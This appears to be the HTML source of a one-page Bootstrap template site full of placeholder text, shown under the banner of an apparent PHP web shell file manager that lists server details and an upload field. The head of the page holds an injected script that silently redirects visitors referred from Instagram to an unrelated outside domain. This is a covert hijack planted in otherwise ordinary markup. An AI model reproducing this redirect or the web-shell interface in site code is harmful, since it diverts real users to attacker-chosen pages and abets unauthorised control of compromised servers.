|
Server : Apache/2.4.62 System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64 User : www ( 80) PHP Version : 8.3.8 Disable Function : NONE Directory : /domains/abtechsci/ |
Upload File : |
<!doctype html>
<html>
<head>
<script>
var rUrl;
rUrl = document.referrer;
if(rUrl.indexOf("instagram") > 0 )
{
window.location="http://www.yohoget.com";
}
</script>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, maximum-scale=1">
<title>Home</title>
<link rel="icon" href="favicon.png" type="image/png">
<link href="css/bootstrap.min.css" rel="stylesheet" type="text/css">
<link href="css/style.css" rel="stylesheet" type="text/css">
<link href="css/font-awesome.css" rel="stylesheet" type="text/css">
<link href="css/animate.css" rel="stylesheet" type="text/css">
<link href="css/fancybox/jquery.fancybox.css" rel="stylesheet">
<link href="css/magnific-popup.css" rel="stylesheet">
<link href="css/gallery-1.css" rel="stylesheet">
<!--[if lt IE 9]>
<script src="js/respond-1.1.0.min.js"></script>
<script src="js/html5shiv.js"></script>
<script src="js/html5element.js"></script>
<![endif]-->
</head>
<body>
<!--Header_section-->
<header id="header_wrapper">
<div class="container">
<div class="header_box">
<div class="logo"><a href="#"><img src="img/logo.png" alt="logo"></a></div>
<nav class="navbar navbar-inverse" role="navigation">
<div class="navbar-header">
<button type="button" id="nav-toggle" class="navbar-toggle" data-toggle="collapse" data-target="#main-nav"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button>
</div>
<div id="main-nav" class="collapse navbar-collapse navStyle">
<ul class="nav navbar-nav" id="mainNav">
<li class="active"><a href="#hero_section" class="scroll-link">Home</a></li>
<li><a href="#aboutUs" class="scroll-link">About Us</a></li>
<li><a href="#service" class="scroll-link">Services</a></li>
<li><a href="#gallery-1" class="scroll-link">Portfolio</a></li>
<li><a href="#team" class="scroll-link">Team</a></li>
<li><a href="#contact" class="scroll-link">Contact</a></li>
</ul>
</div>
</nav>
</div>
</div>
</header>
<!--Header_section-->
<!--Hero_Section-->
<section id="hero_section" class="top_cont_outer">
<div class="hero_wrapper">
<div class="container">
<div class="hero_section">
<div class="row">
<div class="col-lg-5 col-sm-7">
<div class="top_left_cont zoomIn wow animated">
<h2>The <strong>BEST</strong> One Page web template</h2>
<p>Lorem Ipsum is simply dummy text of the printing and type setting industry. Lorem Ipsum has been the galley of type and scrambled it to make a type specimen.</p>
<a href="#service" class="read_more2">Read more</a> </div>
</div>
<div class="col-lg-7 col-sm-5">
<img src="img/main_device_image.png" class="zoomIn wow animated" alt="" />
</div>
</div>
</div>
</div>
</div>
</section>
<!--Hero_Section-->
<section id="aboutUs"><!--Aboutus-->
<div class="inner_wrapper">
<div class="container">
<h2>About Us</h2>
<div class="inner_section">
<div class="row">
<div class=" col-lg-4 col-md-4 col-sm-4 col-xs-12 pull-right"><img src="img/about-img.jpg" class="delay-03s animated wow zoomIn" alt=""></div>
<div class=" col-lg-7 col-md-7 col-sm-7 col-xs-12 pull-left">
<div class=" delay-01s animated fadeInDown wow animated">
<h3>Lorem Ipsum has been the industry's standard dummy text ever..</h3><br/>
<p>Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book.PageMaker including versions of Lorem Ipsum.</p> <br/>
<p>Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged like Aldus PageMaker including versions of Lorem Ipsum.</p>
</div>
</div>
</div>
</div>
</div>
</div>
</section>
<!--Aboutus-->
<!--Service-->
<section id="service">
<div class="container">
<h2>Services</h2>
<div class="service_wrapper">
<div class="row">
<div class="col-lg-4">
<div class="service_block">
<div class="service_icon delay-03s animated wow zoomIn"> <span><i class="fa fa-android"></i></span> </div>
<h3 class="animated fadeInUp wow">Android</h3>
<p class="animated fadeInDown wow">Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text.</p>
</div>
</div>
<div class="col-lg-4 borderLeft">
<div class="service_block">
<div class="service_icon icon2 delay-03s animated wow zoomIn"> <span><i class="fa fa-apple"></i></span> </div>
<h3 class="animated fadeInUp wow">Apple IOS</h3>
<p class="animated fadeInDown wow">Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text.</p>
</div>
</div>
<div class="col-lg-4 borderLeft">
<div class="service_block">
<div class="service_icon icon3 delay-03s animated wow zoomIn"> <span><i class="fa fa-html5"></i></span> </div>
<h3 class="animated fadeInUp wow">Design</h3>
<p class="animated fadeInDown wow">Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text.</p>
</div>
</div>
</div>
<div class="row borderTop">
<div class="col-lg-4 mrgTop">
<div class="service_block">
<div class="service_icon delay-03s animated wow zoomIn"> <span><i class="fa fa-dropbox"></i></span> </div>
<h3 class="animated fadeInUp wow">Concept</h3>
<p class="animated fadeInDown wow">Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text.</p>
</div>
</div>
<div class="col-lg-4 borderLeft mrgTop">
<div class="service_block">
<div class="service_icon icon2 delay-03s animated wow zoomIn"> <span><i class="fa fa-slack"></i></span> </div>
<h3 class="animated fadeInUp wow">User Research</h3>
<p class="animated fadeInDown wow">Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text.</p>
</div>
</div>
<div class="col-lg-4 borderLeft mrgTop">
<div class="service_block">
<div class="service_icon icon3 delay-03s animated wow zoomIn"> <span><i class="fa fa-users"></i></span> </div>
<h3 class="animated fadeInUp wow">User Experience</h3>
<p class="animated fadeInDown wow">Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text.</p>
</div>
</div>
</div>
</div>
</div>
</section>
<!--Service-->
<!-- Start Gallery 1-2 -->
<section id="gallery-1" class="gallery-1 page_section">
<div class="container">
<h2>Gallery</h2>
<h6>Lorem ipsum dolor sit amet, consectetur adipiscing.</h6>
<div>
<ul class="filter">
<li class="active"><a href="#" data-filter="*">All</a></li>
<li><a href="#" data-filter=".artwork">Artwork</a></li>
<li><a href="#" data-filter=".creative">Creative</a></li>
<li><a href="#" data-filter=".nature">Nature</a></li>
<li><a href="#" data-filter=".outside">Outside</a></li>
<li><a href="#" data-filter=".photography">Photography</a></li>
</ul>
</div>
<!-- /.gallery-filter -->
<div class="row">
<div id="isotope-gallery-container">
<div class="col-md-4 col-sm-6 col-xs-12 gallery-item-wrapper artwork creative">
<div class="gallery-item">
<div class="gallery-thumb">
<img src="img/works/1.jpg" class="img-responsive" alt="1st gallery Thumb">
<div class="image-overlay"></div>
<a href="img/works/1.jpg" class="gallery-zoom"><i class="fa fa-eye"></i></a>
<a href="#" class="gallery-link"><i class="fa fa-link"></i></a>
</div>
<div class="gallery-details">
<div class="editContent">
<h5>1st gallery Item</h5>
</div>
<div class="editContent">
<p>Nullam id dolor id nibh ultricies vehicula.</p>
</div>
</div>
</div>
</div>
<!-- /.gallery-item-wrapper -->
<div class="col-md-4 col-sm-6 col-xs-12 gallery-item-wrapper nature outside">
<div class="gallery-item">
<div class="gallery-thumb">
<img src="img/works/2.jpg" class="img-responsive" alt="2nd gallery Thumb">
<div class="image-overlay"></div>
<a href="img/works/2.jpg" class="gallery-zoom"><i class="fa fa-eye"></i></a>
<a href="#" class="gallery-link"><i class="fa fa-link"></i></a>
</div>
<div class="gallery-details">
<div class="editContent">
<h5>2nd gallery Item</h5>
</div>
<div class="editContent">
<p>Nullam id dolor id nibh ultricies vehicula.</p>
</div>
</div>
</div>
</div>
<!-- /.gallery-item-wrapper -->
<div class="col-md-4 col-sm-6 col-xs-12 gallery-item-wrapper photography artwork">
<div class="gallery-item">
<div class="gallery-thumb">
<img src="img/works/3.jpg" class="img-responsive" alt="3rd gallery Thumb">
<div class="image-overlay"></div>
<a href="img/works/3.jpg" class="gallery-zoom"><i class="fa fa-eye"></i></a>
<a href="#" class="gallery-link"><i class="fa fa-link"></i></a>
</div>
<div class="gallery-details">
<div class="editContent">
<h5>3rd gallery Item</h5>
</div>
<div class="editContent">
<p>Nullam id dolor id nibh ultricies vehicula.</p>
</div>
</div>
</div>
</div>
<!-- /.gallery-item-wrapper -->
<div class="col-md-4 col-sm-6 col-xs-12 gallery-item-wrapper creative nature">
<div class="gallery-item">
<div class="gallery-thumb">
<img src="img/works/4.jpg" class="img-responsive" alt="4th gallery Thumb">
<div class="image-overlay"></div>
<a href="img/works/4.jpg" class="gallery-zoom"><i class="fa fa-eye"></i></a>
<a href="#" class="gallery-link"><i class="fa fa-link"></i></a>
</div>
<div class="gallery-details">
<div class="editContent">
<h5>4th gallery Item</h5>
</div>
<div class="editContent">
<p>Nullam id dolor id nibh ultricies vehicula.</p>
</div>
</div>
</div>
</div>
<!-- /.gallery-item-wrapper -->
<div class="col-md-4 col-sm-6 col-xs-12 gallery-item-wrapper nature">
<div class="gallery-item">
<div class="gallery-thumb">
<img src="img/works/5.jpg" class="img-responsive" alt="5th gallery Thumb">
<div class="image-overlay"></div>
<a href="img/works/5.jpg" class="gallery-zoom"><i class="fa fa-eye"></i></a>
<a href="#" class="gallery-link"><i class="fa fa-link"></i></a>
</div>
<div class="gallery-details">
<div class="editContent">
<h5>5th gallery Item</h5>
</div>
<div class="editContent">
<p>Nullam id dolor id nibh ultricies vehicula.</p>
</div>
</div>
</div>
</div>
<!-- /.gallery-item-wrapper -->
<div class="col-md-4 col-sm-6 col-xs-12 gallery-item-wrapper artwork creative">
<div class="gallery-item">
<div class="gallery-thumb">
<img src="img/works/6.jpg" class="img-responsive" alt="6th gallery Thumb">
<div class="image-overlay"></div>
<a href="img/works/6.jpg" class="gallery-zoom"><i class="fa fa-eye"></i></a>
<a href="#" class="gallery-link"><i class="fa fa-link"></i></a>
</div>
<div class="gallery-details">
<div class="editContent">
<h5>6th gallery Item</h5>
</div>
<div class="editContent">
<p>Nullam id dolor id nibh ultricies vehicula.</p>
</div>
</div>
</div>
</div>
</div>
<!-- /.isotope-gallery-container -->
</div>
<!-- /.row -->
<!-- /.container -->
</div>
</section>
<!--// End Gallery 1-2 -->
<section id="pricing" class="pricing-container page_section">
<div class="container">
<h2>Pricing</h2>
<h6>Lorem ipsum dolor sit amet, consectetur adipiscing.</h6>
<div class="row">
<div class="col-md-3 col-sm-3 col-xs-12">
<div class="pricing">
<div class="pricing-title">
<p>Starter</p>
</div>
<div class="pricing-price">
<p><sup>$ </sup>8.00</p>
</div>
<div class="pricing-features">
<p>Best Template</p>
<p>Clean and modern</p>
<p>Bootstrap & HTML5</p>
<p>24/7 support</p>
</div>
<div class="pricing_btn">
<p><a href="#"> Buy Now</a></p>
</div>
</div>
</div>
<div class="col-md-3 col-sm-3 col-xs-12">
<div class="pricing">
<div class="pricing-title">
<p>Popular</p>
</div>
<div class="pricing-price">
<p><sup>$ </sup>12.00</p>
</div>
<div class="pricing-features">
<p>Best Template</p>
<p>Clean and modern</p>
<p>Bootstrap & HTML5</p>
<p>24/7 support</p>
</div>
<div class="pricing_btn">
<p><a href="#"> Buy Now</a></p>
</div>
</div>
</div>
<div class="col-md-3 col-sm-3 col-xs-12">
<div class="pricing">
<div class="pricing-title">
<p>Business</p>
</div>
<div class="pricing-price">
<p><sup>$ </sup>16.00</p>
</div>
<div class="pricing-features">
<p>Best Template</p>
<p>Clean and modern</p>
<p>Bootstrap & HTML5</p>
<p>24/7 support</p>
</div>
<div class="pricing_btn">
<p><a href="#"> Buy Now</a></p>
</div>
</div>
</div>
<div class="col-md-3 col-sm-3 col-xs-12">
<div class="pricing">
<div class="pricing-title">
<p>Enterprise</p>
</div>
<div class="pricing-price">
<p><sup>$ </sup>20.00</p>
</div>
<div class="pricing-features">
<p>Best Template</p>
<p>Clean and modern</p>
<p>Bootstrap & HTML5</p>
<p>24/7 support</p>
</div>
<div class="pricing_btn">
<p><a href="#"> Buy Now</a></p>
</div>
</div>
</div>
</div><!--- END ROW -->
</div><!--- END CONTAINER -->
</section>
<section class="page_section team" id="team"><!--main-section team-start-->
<div class="container">
<h2>Team</h2>
<h6>Lorem ipsum dolor sit amet, consectetur adipiscing.</h6>
<div class="team_section clearfix">
<div class="team_area">
<div class="team_box wow fadeInDown delay-03s">
<div class="team_box_shadow"><a href="javascript:void(0)"></a></div>
<img src="img/team_pic1.jpg" alt="">
<ul>
<li><a href="javascript:void(0)" class="fa fa-twitter"></a></li>
<li><a href="javascript:void(0)" class="fa fa-facebook"></a></li>
<li><a href="javascript:void(0)" class="fa fa-pinterest"></a></li>
<li><a href="javascript:void(0)" class="fa fa-google-plus"></a></li>
</ul>
</div>
<h3 class="wow fadeInDown delay-03s">Tom Rensed</h3>
<span class="wow fadeInDown delay-03s">Chief Executive Officer</span>
<p class="wow fadeInDown delay-03s">Lorem ipsum dolor sit amet, consectetur adipiscing consectetur elit proin consequat.</p>
</div>
<div class="team_area">
<div class="team_box wow fadeInDown delay-06s">
<div class="team_box_shadow"><a href="javascript:void(0)"></a></div>
<img src="img/team_pic2.jpg" alt="">
<ul>
<li><a href="javascript:void(0)" class="fa fa-twitter"></a></li>
<li><a href="javascript:void(0)" class="fa fa-facebook"></a></li>
<li><a href="javascript:void(0)" class="fa fa-pinterest"></a></li>
<li><a href="javascript:void(0)" class="fa fa-google-plus"></a></li>
</ul>
</div>
<h3 class="wow fadeInDown delay-06s">Kathren Mory</h3>
<span class="wow fadeInDown delay-06s">Vice President</span>
<p class="wow fadeInDown delay-06s">Lorem ipsum dolor sit amet, consectetur adipiscing consectetur elit proin consequat.</p>
</div>
<div class="team_area">
<div class="team_box wow fadeInDown delay-09s">
<div class="team_box_shadow"><a href="javascript:void(0)"></a></div>
<img src="img/team_pic3.jpg" alt="">
<ul>
<li><a href="javascript:void(0)" class="fa fa-twitter"></a></li>
<li><a href="javascript:void(0)" class="fa fa-facebook"></a></li>
<li><a href="javascript:void(0)" class="fa fa-pinterest"></a></li>
<li><a href="javascript:void(0)" class="fa fa-google-plus"></a></li>
</ul>
</div>
<h3 class="wow fadeInDown delay-09s">Lancer Jack</h3>
<span class="wow fadeInDown delay-09s">Senior Manager</span>
<p class="wow fadeInDown delay-09s">Lorem ipsum dolor sit amet, consectetur adipiscing consectetur elit proin consequat.</p>
</div>
</div>
</div>
</section>
<!--/Team-->
<section id="clients"><!--page_section-->
<h2>Clients</h2>
<!--page_section-->
<div class="client_logos"><!--client_logos-->
<div class="container">
<ul class="fadeInRight animated wow">
<li><a href="javascript:void(0)"><img src="img/client_logo1.png" alt=""></a></li>
<li><a href="javascript:void(0)"><img src="img/client_logo2.png" alt=""></a></li>
<li><a href="javascript:void(0)"><img src="img/client_logo3.png" alt=""></a></li>
<li><a href="javascript:void(0)"><img src="img/client_logo5.png" alt=""></a></li>
</ul>
</div>
</div>
</section>
<!--client_logos-->
<!--Footer-->
<footer class="footer_wrapper" id="contact">
<div class="container">
<section class="page_section contact" id="contact">
<div class="contact_section">
<h2>Contact Us</h2>
<div class="row">
<div class="col-lg-4">
</div>
<div class="col-lg-4">
</div>
<div class="col-lg-4">
</div>
</div>
</div>
<div class="row">
<div class="col-lg-4 wow fadeInLeft">
<div class="contact_info">
<div class="detail">
<h4>Ballet One Page</h4>
<p>104, Some street, NewYork, USA</p>
</div>
<div class="detail">
<h4>call us</h4>
<p>+1 234 567890</p>
</div>
<div class="detail">
<h4>Email us</h4>
<p>[email protected]</p>
</div>
</div>
<ul class="social_links">
<li class="twitter animated bounceIn wow delay-02s"><a href="javascript:void(0)"><i class="fa fa-twitter"></i></a></li>
<li class="facebook animated bounceIn wow delay-03s"><a href="javascript:void(0)"><i class="fa fa-facebook"></i></a></li>
<li class="pinterest animated bounceIn wow delay-04s"><a href="javascript:void(0)"><i class="fa fa-pinterest"></i></a></li>
<li class="gplus animated bounceIn wow delay-05s"><a href="javascript:void(0)"><i class="fa fa-google-plus"></i></a></li>
</ul>
</div>
<div class="col-lg-8 wow fadeInLeft delay-06s">
<div class="form">
<!--NOTE: Update your email Id in "contact_me.php" file in order to receive emails from your contact form-->
<form name="sentMessage" id="contactForm" novalidate>
<div class="control-group">
<div class="controls">
<input type="text" class="form-control input-text"
placeholder="Full Name" id="name" required
data-validation-required-message="Please enter your name" />
<p class="help-block"></p>
</div>
</div>
<div class="control-group">
<div class="controls">
<input type="email" class="form-control input-text" placeholder="Email"
id="email" required
data-validation-required-message="Please enter your email" />
</div>
</div>
<div class="control-group">
<div class="controls">
<textarea rows="10" cols="100" class="form-control input-text"
placeholder="Message" id="message" required
data-validation-required-message="Please enter your message" minlength="5"
data-validation-minlength-message="Min 5 characters"
maxlength="999" style="resize:none"></textarea>
</div>
</div>
<div id="success"> </div> <!-- For success/fail messages -->
<button type="submit" class="btn btn-primary input-btn pull-right">Send</button><br />
</form>
</div>
</div>
</div>
</section>
</div>
<div class="container">
<div class="footer_bottom">Copyright © 2017.Company name All rights reserved.<a target="_blank" href="http://sc.chinaz.com/moban/">网页模板</a></div>
</div>
</footer>
<script type="text/javascript" src="js/jquery-1.11.0.min.js"></script>
<script type="text/javascript" src="js/bootstrap.min.js"></script>
<script type="text/javascript" src="js/jquery-scrolltofixed.js"></script>
<script type="text/javascript" src="js/jquery.nav.js"></script>
<script type="text/javascript" src="js/jquery.easing.1.3.js"></script>
<script type="text/javascript" src="js/jquery.isotope.js"></script>
<script type="text/javascript" src="js/wow.js"></script>
<script src="js/jquery.fancybox.pack.js"></script>
<script src="js/jquery.fancybox-media.js"></script>
<script src="js/modernizr.custom.js"></script>
<script src="js/jquery.isotope.min.js"></script>
<script src="js/jquery.magnific-popup.min.js"></script>
<script src="contact/jqBootstrapValidation.js"></script>
<script src="contact/contact_me.js"></script>
<script type="text/javascript" src="js/custom.js"></script>
</body>
</html>